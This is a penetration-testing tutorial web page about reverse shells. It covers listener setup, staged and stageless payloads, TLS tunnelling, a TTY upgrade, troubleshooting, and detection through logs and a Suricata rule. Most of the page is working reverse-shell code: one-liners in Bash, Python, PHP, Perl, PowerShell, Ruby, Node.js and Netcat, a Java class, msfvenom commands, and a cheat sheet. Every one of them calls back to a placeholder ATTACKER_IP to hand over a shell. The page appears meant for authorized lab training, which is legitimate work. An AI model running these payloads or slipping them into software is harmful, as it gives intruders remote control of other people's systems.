What Is a Reverse Shell? How Reverse Shells Work, Payloads & Detection
Learn what a reverse shell is, how it works, and how to set one up in a lab — listener setup, payloads in Bash, Python, PHP and PowerShell, a cheat sheet, TTY upgrade, and how to detect one.
A reverse shell is a common way to turn limited command execution into a remote command channel during an authorized security test. This guide explains the underlying connection, practical lab commands, troubleshooting, and defensive controls.
Legal and ethical use: Only practise on systems you own, isolated lab VMs, or legal platforms such as TryHackMe and HackTheBox, and remain within their rules and scope. Running a reverse shell against a system without permission is illegal.
What Is a Reverse Shell?
A reverse shell is a command shell in which the target machine initiates a network connection back to a listener controlled by the tester. Commands entered at the listener travel across that connection, run on the target, and return their output over the same channel.
Attackers and penetration testers use this direction because networks commonly reject unsolicited inbound connections while permitting at least some outbound traffic. It can therefore work through firewall and NAT configurations that would prevent the operator from connecting directly to a service on the target. This is not guaranteed: egress filtering can block the callback.
A reverse shell normally appears during post-exploitation. The tester first obtains an execution path—such as command injection, an uploaded web shell, or another initial-access flaw—and then runs a callback payload to gain a more convenient shell.
How a Reverse Shell Works
A reverse shell has two cooperating parts:
4444.ATTACKER_IP:4444 and connects a command interpreter to it.The basic sequence is:
4444 and waits before running the payload.ATTACKER_IP:4444.The address and port in the payload must lead to the listener. Starting a listener alone does not compromise anything; the target must execute compatible payload code.
Reverse Shell vs Bind Shell
| Comparison | Reverse shell | Bind shell |
|---|---|---|
| Who connects to whom? | The target connects to the tester. | The tester connects to a listening port on the target. |
| Firewall and NAT behaviour | Often works when outbound connections are allowed but inbound connections are blocked. | Requires an inbound route to the target and an exposed target port. |
| When it is used | Common when the target is behind NAT or inbound filtering. | Useful in an isolated lab when the target is directly reachable. |
| Typical listener command | Tester runs nc -lvnp 4444. | Target listens with nc -lvnp 4444; the tester reaches it with nc TARGET_IP 4444. |
These Netcat commands show the direction of the socket. A real bind-shell payload must also attach a command interpreter to the target-side listener.
Setting Up a Listener
Netcat
Netcat is the simplest listener for a basic TCP reverse shell:
nc -lvnp 4444
The -l flag selects listen mode, -v prints connection details, -n disables DNS lookups, and -p 4444 selects the local port. Start it before executing the target payload.
Socat
Socat can connect a listening TCP socket to the terminal's standard input and output:
socat TCP-LISTEN:4444 -
This basic listener accepts the callback on port 4444. Socat also supports more advanced terminal handling, but the minimal form is useful for confirming connectivity.
Metasploit multi/handler
Metasploit's generic handler is useful when the payload uses a matching Metasploit payload type:
use exploit/multi/handler
set payload linux/x64/shell/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
run
LHOST must be an address the target can actually reach, and LPORT must match the payload. The platform, architecture, and staged or stageless payload name must also match.
Reverse Shell Payloads by Language
Run these only in an authorized lab after starting a listener on 4444.
Bash
Bash can connect its interactive input, output, and errors to a TCP socket through /dev/tcp:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Python
This Python 3 payload creates a socket, duplicates it over standard input, output, and error, and starts /bin/sh:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
PHP
PHP can open the callback with fsockopen and attach a shell to the resulting file descriptor:
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl
The Perl version creates a TCP socket, maps the three standard streams to it, and executes an interactive shell:
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PowerShell
This Invoke-PowerShellTcp-style loop reads commands from a TCPClient, executes them, and writes the output back to the listener:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + "PS " + (Get-Location).Path + "> ";$sendbyte = ([System.Text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Generating payload files with msfvenom
Msfvenom can generate lab payload files for matching Linux and Windows x64 environments:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
These are stageless shell_reverse_tcp payloads. If using Metasploit instead of a basic TCP listener, configure the handler with the exact corresponding payload name.
Worked Example: Reverse Shell End to End in a Lab
Perform this exercise only on isolated systems you own or are authorized to test. Both machines use private lab addresses on a host-only network:
192.168.56.10192.168.56.20In the payload, replace ATTACKER_IP with the attacker VM’s private address, 192.168.56.10.
nc -lvnp 4444
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
The following is illustrative sample output; source ports, process IDs, prompts, and Netcat messages vary between systems.
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.10] from (UNKNOWN) [192.168.56.20] 51842
bash: cannot set terminal process group (1092): Inappropriate ioctl for device
bash: no job control in this shell
labuser@target-vm:~$ whoami
labuser
labuser@target-vm:~$ id
uid=1000(labuser) gid=1000(labuser) groups=1000(labuser)
labuser@target-vm:~$ hostname
target-vm
labuser@target-vm:~$ pwd
/home/labuser
labuser@target-vm:~$ exit
exit
Use exit to close the remote shell cleanly. The target returns to its original terminal, while a non-persistent Netcat listener normally closes after the peer disconnects. Do not press Ctrl+C while the session is active unless you intend to terminate it.
More Reverse Shell Payloads: Ruby, Node.js, Java, and Netcat
Use these payloads only in an authorized lab, and start the listener first. Each option depends on the corresponding runtime or binary being installed on the target; none provides persistence or additional privileges by itself.
Ruby
Ruby can reopen its standard input, output, and error streams over a TCPSocket before replacing itself with an interactive shell.
ruby -rsocket -e 's=TCPSocket.new("ATTACKER_IP",4444);STDIN.reopen(s);STDOUT.reopen(s);STDERR.reopen(s);exec("/bin/sh","-i")'
Node.js
Node.js can create a TCP connection and pipe it to a child /bin/sh process in both directions.
node -e 'const net=require("net"),cp=require("child_process");const s=net.connect(4444,"ATTACKER_IP",()=>{const sh=cp.spawn("/bin/sh",["-i"]);s.pipe(sh.stdin);sh.stdout.pipe(s);sh.stderr.pipe(s);});'
Java
This compact class connects a socket to /bin/sh and copies data in both directions. Save it as ReverseShell.java, then compile and run it only on the lab target.
import java.io.*;
import java.net.*;
public class ReverseShell {
private static void copy(InputStream in, OutputStream out) {
try {
byte[] buffer = new byte[4096];
for (int read; (read = in.read(buffer)) != -1;) {
out.write(buffer, 0, read);
out.flush();
}
} catch (IOException ignored) {
} finally {
try {
out.close();
} catch (IOException ignored) {
}
}
}
public static void main(String[] args) throws Exception {
Socket socket = new Socket("ATTACKER_IP", 4444);
Process shell = new ProcessBuilder("/bin/sh", "-i")
.redirectErrorStream(true)
.start();
InputStream socketIn = socket.getInputStream();
OutputStream socketOut = socket.getOutputStream();
new Thread(() -> copy(socketIn, shell.getOutputStream())).start();
copy(shell.getInputStream(), socketOut);
shell.waitFor();
socket.close();
}
}
Netcat
Some traditional Netcat and Ncat builds support -e; OpenBSD Netcat usually does not. Run the first command only when -e is available, or use the named-pipe fallback and remove the FIFO after the lab.
nc -e /bin/sh ATTACKER_IP 4444
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
Staged vs Stageless Payloads
A staged payload contains a small initial component called a stager. The stager connects to a compatible handler, which sends the larger shell stage afterward. This reduces the initial payload size but creates a handler dependency: plain Netcat does not know how to deliver the required stage. With reverse_tcp, that second-stage transfer normally uses the already-established TCP session rather than opening a separate TCP connection.
A stageless payload includes the complete reverse-shell functionality in one file. It is usually larger, but it does not need a second-stage download. A raw stageless shell can therefore connect directly to a standard Netcat listener.
Generate authorized Linux lab examples with:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell-staged.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell-stageless.elf
Metasploit’s naming distinction is important: linux/x64/shell/reverse_tcp is staged, while linux/x64/shell_reverse_tcp is stageless. When using exploit/multi/handler, configure the handler with the exact payload type used to generate the file. A mismatch commonly produces a connection that immediately drops.
Reverse Shells Over Common Ports and Protocols
Authorized testers sometimes use destination ports 80 or 443 because tightly filtered networks often permit outbound web traffic. Port selection alone does not change the protocol, however. A raw TCP shell on port 443 is not HTTPS and can still be identified or blocked by application-aware firewalls, proxies, TLS inspection, and network monitoring.
For a TLS-encrypted Socat lab channel, first create a short-lived self-signed certificate on the attacker VM:
openssl req -x509 -newkey rsa:2048 -nodes -keyout shell.key -out shell.crt -days 1 -subj "/CN=lab-listener"
cat shell.key shell.crt > shell.pem
Start the encrypted listener. Binding to port 443 normally requires elevated privileges:
sudo socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0,reuseaddr STDIO
The target must also use an OpenSSL-capable Socat address rather than sending an unencrypted Netcat connection:
socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
This protects the stream with TLS, but it still does not add HTTP request and response semantics. Because verify=0 accepts the self-signed certificate without authenticating it, this setup is appropriate only for an isolated lab.
HTTP tunnelling encapsulates other traffic inside web-compatible exchanges, while DNS tunnelling encodes limited data in DNS queries and responses. Tools such as Chisel can provide HTTP-based tunnels, but they require explicit authorization, matching endpoints, and careful monitoring. These techniques should never be tested against public or production infrastructure without written approval.
Reverse Shell vs Web Shell vs Meterpreter
| Comparison | Reverse shell | Web shell | Meterpreter |
|---|---|---|---|
| What it is | A command shell connected back to a listener | Server-side code that executes commands through web requests | Metasploit’s advanced, typically memory-resident payload |
| How it connects | Target initiates an outbound connection | Operator sends HTTP requests to the web server | Uses a configured Metasploit transport and handler |
| Persistence | None by itself; ends with the process or connection | May remain callable while its server-side code exists | None by default; persistence requires a separate action |
| Interactivity | Basic shell, often without a full TTY | Usually request-by-request rather than terminal-like | Rich session with channels and post-exploitation features |
| Typical authorized use | Validate command execution and outbound controls | Assess web-server compromise impact | Structured post-exploitation testing through Metasploit |
Reverse shell. This is a communication pattern rather than a particular file or framework. The compromised process initiates the connection, and the operator interacts through the listening endpoint.
Web shell. A web shell is code placed or created on a web server and invoked over HTTP. It commonly executes one command per request and may remain accessible until the file or application change is removed.
Meterpreter. Meterpreter is more than a normal command shell. It provides an extensible Metasploit session with post-exploitation modules, file operations, channels, and multiple transport options, including reverse transports.
Reverse Shell Cheat Sheet
| Language or tool | One-liner |
|---|---|
| Bash | bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 |
| Python | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' |
| PHP | php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' |
| Perl | perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
| PowerShell | $client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + "PS " + (Get-Location).Path + "> ";$sendbyte = ([System.Text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
| Netcat listener | nc -lvnp 4444 |
| Socat listener | socat TCP-LISTEN:4444 - |
| msfvenom Linux | msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf |
| msfvenom Windows | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe |
| Ruby | ruby -rsocket -e 's=TCPSocket.new("ATTACKER_IP",4444);STDIN.reopen(s);STDOUT.reopen(s);STDERR.reopen(s);exec("/bin/sh","-i")' |
| Node.js | node -e 'const net=require("net"),cp=require("child_process");const s=net.connect(4444,"ATTACKER_IP",()=>{const sh=cp.spawn("/bin/sh",["-i"]);s.pipe(sh.stdin);sh.stdout.pipe(s);sh.stderr.pipe(s);});' |
| Java | javac ReverseShell.java && java ReverseShell — class reference; use the full source above |
Netcat -e | nc -e /bin/sh ATTACKER_IP 4444 |
| Netcat mkfifo fallback | rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f \| /bin/sh -i 2>&1 \| nc ATTACKER_IP 4444 > /tmp/f |
| Socat OpenSSL listener | socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,reuseaddr STDIO |
| msfvenom staged Linux | msfvenom -p linux/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell-staged.elf |
Upgrading to a Full TTY Shell
A raw shell often lacks tab completion, command history, terminal sizing, and job control. Pressing Ctrl+C may terminate the local listener instead of interrupting the remote process.
On the remote raw shell, spawn Bash through Python's pseudo-terminal module:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Press Ctrl+Z to background Netcat. In the local terminal, run:
stty raw -echo; fg
Press Enter, then configure the remote terminal:
export TERM=xterm
export SHELL=/bin/bash
An easier listener-side option is:
rlwrap nc -lvnp 4444
Rlwrap improves history and line editing, although it does not replace a real remote pseudo-terminal.
Common Mistakes When Setting Up a Reverse Shell
| Mistake | Why it fails | Fix |
|---|---|---|
| Running the payload before the listener | The initial connection is refused, and a one-shot payload may exit | Start the listener first, then rerun the payload |
Setting LHOST to 127.0.0.1 | The target tries to connect to its own loopback interface | Use the attacker interface address represented by ATTACKER_IP |
| Using different ports | The callback reaches a port where no listener is waiting | Set both payload and listener to 4444 |
| Sending a staged payload to plain Netcat | Netcat cannot provide the required second stage | Use a matching Metasploit handler or generate a stageless payload |
| Using the wrong architecture | The target cannot execute an incompatible ABI or lacks compatibility support | Check uname -m and generate for the target architecture |
| Having the payload blocked by AV or EDR | The process or file is quarantined or terminated | Review alerts and use an approved test exception or benign simulation; do not disable controls without authorization |
| Skipping the TTY upgrade | Job control is limited, and Ctrl+C may terminate Netcat instead of the remote command | Upgrade the shell before interactive work or avoid terminal-dependent commands |
| Using a public IP with no route | An isolated or NATed lab cannot reach the callback address | Use a routed host-only address, lab VPN, or explicitly authorized forwarding |
Common Problems: Why Your Reverse Shell Is Not Connecting
| Problem | What to check | Lab fix |
|---|---|---|
LHOST is wrong | ATTACKER_IP must be reachable from the target; 127.0.0.1 points back to the target itself. | Select the correct lab or VPN interface address and regenerate or edit the payload. |
| Listener is absent or on the wrong port | Confirm the listener was started first and is waiting on 4444. | Start nc -lvnp 4444 and make both sides use the same port. |
Outbound port 4444 is blocked | A host or network firewall may reject the target's callback. | Permit the lab flow through the authorized firewall policy or use an approved reachable port on both sides. |
| AV or EDR blocks the payload | Endpoint controls may stop the interpreter, generated file, or suspicious process chain. | Review the alert and use an agreed test policy or benign simulation; do not disable production controls. |
| The target has no route to the listener | NAT, VM networking, or VPN routing may make ATTACKER_IP unreachable. | Place both lab systems on a reachable network or correct the authorized routing configuration. |
Port 4444 is already in use | Another process may already own the local listening port. | Stop the conflicting lab process or select one permitted port and update both listener and payload. |
| Payload connects then drops immediately | Staged payload reached plain Netcat, or the handler is configured for a different payload type | Configure multi/handler with the exact staged payload name, or use a stageless payload with Netcat |
| Payload exits immediately or reports an execution-format error | Binary generated for the wrong architecture | Check the target with uname -m and regenerate for its architecture |
Troubleshoot from the network layer upward: verify the route, confirm the listener, compare the address and port, and then inspect application and security-control logs.
How to Detect and Defend Against Reverse Shells
Reverse shells are best controlled by preventing both the initial execution and the outbound callback:
apache2, nginx, php-fpm, or w3wp.exe when they spawn shells, scripting engines, or networking tools unexpectedly.What the Logs Show
A reverse shell can leave both network and process evidence. The following are illustrative samples, not universal log formats.
A selected-fields Zeek conn.log-style line shows the internal lab host opening TCP port 4444 on an outside system:
1794104132.412345 CxLabExample 192.168.56.20 51842 ATTACKER_IP 4444 tcp - 31.804 286 734 SF
A process-creation event becomes especially suspicious when a web-server process directly launches a shell:
2026-11-08T10:16:04Z host=web01 event=process_start parent=/usr/sbin/apache2 parent_pid=812 image=/bin/sh pid=1842 user=www-data command_line="/bin/sh -i"
This Suricata rule alerts on a TCP SYN from the lab web server to destination port 4444:
alert tcp 192.168.56.20 any -> any 4444 (msg:"LAB outbound TCP SYN from web server to port 4444"; flags:S; sid:1000001; rev:1;)
Tune the source address, destination scope, exceptions, and local SID for your environment. Port 4444 is not malicious by itself, so correlate the alert with process activity and approved change records.
Blocking one commonly used port is not a complete defense. Destination allowlists, protocol-aware inspection, process telemetry, and removal of the original vulnerability provide stronger layers.
Knowledge Check
pty.spawn and stty raw -echo improve?shell/reverse_tcp or shell_reverse_tcp?443 not automatically HTTPS?Answers: 1. The target. 2. It must be ready when the callback arrives. 3. The callback starts outbound, which NAT and firewall policies often permit. 4. They add pseudo-terminal behaviour and improve terminal input handling. 5. Examples include egress allowlisting, outbound connection monitoring, EDR process-tree alerts, least privilege, and patching the initial flaw. 6. shell/reverse_tcp is staged. 7. HTTPS requires HTTP semantics carried over TLS, not merely port 443. 8. A web-server process such as apache2 spawning /bin/sh.
Keep Learning
Frequently Asked Questions
Continue Learning
OSINT for Red Team: Offensive Intelligence Reconnaissance
Master OSINT techniques for red team operations. Learn target profiling, social engineering prep, infrastructure mapping, attack surface discovery, and integrating Maltego into red team workflows.
Tools · IntermediateMetasploit Fundamentals: Exploitation Framework
Learn the Metasploit Framework from basics to exploitation, covering modules, payloads, meterpreter, and post-exploitation techniques.
Tools · BeginnerNetcat Guide: The Swiss Army Knife of Networking
Master Netcat for port scanning, banner grabbing, file transfers, reverse shells, and network debugging with practical examples.
Kali Linux Tools · IntermediateTop 50 Kali Linux Tools Explained with Examples
Comprehensive guide to the 50 most important Kali Linux tools for penetration testing. Each tool includes installation, usage examples, and practical scenarios.
Related Security Tools
MSFVenom
MSFVenom is a standalone payload generator and encoder utility within the Metasploit Framework, first introduced in Metasploit 4.0 (2015) to replace the legacy msfpayload and msfencode tools with a single unified interface. It enables security professionals, penetration testers, and students to create, customize, and encode payloads for multiple platforms including Windows, Linux, macOS, Android, and PHP. MSFVenom is widely used in CTF competitions, security training labs, authorized penetration testing engagements, and red team operations to generate reverse shells, Meterpreter payloads, shellcode, and encoded executables. Understanding MSFVenom helps both offensive and defensive security professionals learn payload construction techniques, encoding methods, and detection strategies used in modern cybersecurity.
ExploitationMetasploit Framework
Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.
Post ExploitationEmpire
Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.
ExploitationCobalt Strike
Cobalt Strike is a commercial penetration testing platform designed for adversary simulation and red team operations. It features a post-exploitation agent called Beacon and supports covert communication channels to model advanced persistent threats.